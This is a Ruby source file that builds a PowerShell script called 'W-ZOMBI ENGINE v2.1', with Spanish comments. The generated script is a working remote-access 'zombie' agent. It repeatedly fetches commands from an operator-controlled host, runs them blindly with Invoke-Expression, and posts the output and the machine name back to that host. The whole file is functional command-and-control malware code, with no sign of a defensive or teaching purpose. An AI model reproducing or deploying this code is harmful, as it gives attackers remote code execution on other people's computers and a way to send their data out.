module WZombi module Engine class PS1Builder def self.build(host:) <<~PS1 # W-ZOMBI ENGINE v2.1 $WZ_HOST = "#{host}" $LAST_CMD_ID = 0 function Get-Cmd { try { $response = Invoke-RestMethod -Uri "http://$WZ_HOST/cmd.json" -UseBasicParsing -ErrorAction Stop # Invoke-RestMethod auto-parsea JSON si Content-Type es correcto if ($response -is [string]) { return $response | ConvertFrom-Json } return $response } catch { return $null } } function Send-Log { param([string]$msg) $line = "[$(Get-Date -Format 'HH:mm:ss')] $msg" Write-Host "πŸ“‘ $line" -ForegroundColor Cyan try { Invoke-RestMethod -Uri "http://$WZ_HOST/log" -Method Post -Body ([System.Text.Encoding]::UTF8.GetBytes($line)) -ContentType "text/plain; charset=utf-8" -UseBasicParsing -ErrorAction SilentlyContinue | Out-Null } catch {} } Write-Host "🧟 ゾンビ (Zombi) v2.1 ONLINE - Host: $WZ_HOST" -ForegroundColor Green Send-Log "ZOMBI CONECTADO desde $env:COMPUTERNAME" while ($true) { try { $cmdData = Get-Cmd if ($cmdData -and $cmdData.id -and $cmdData.id -ne $LAST_CMD_ID -and $cmdData.cmd -and $cmdData.cmd -ne "" -and $cmdData.cmd -ne "NO_CMD") { $LAST_CMD_ID = $cmdData.id Send-Log ">>> EJECUTANDO [ID:$($cmdData.id)]: $($cmdData.cmd)" Write-Host ">>> EJECUTANDO [ID:$($cmdData.id)]: $($cmdData.cmd)" -ForegroundColor Yellow try { $result = Invoke-Expression $cmdData.cmd 2>&1 | Out-String Send-Log "<<< RESULTADO [ID:$($cmdData.id)]: $result" } catch { Send-Log "!!! ERROR [ID:$($cmdData.id)]: $($_.Exception.Message)" } } } catch { Send-Log "!!! EXCEPCION EN LOOP: $($_.Exception.Message)" } Start-Sleep -Seconds 5 } PS1 end end end end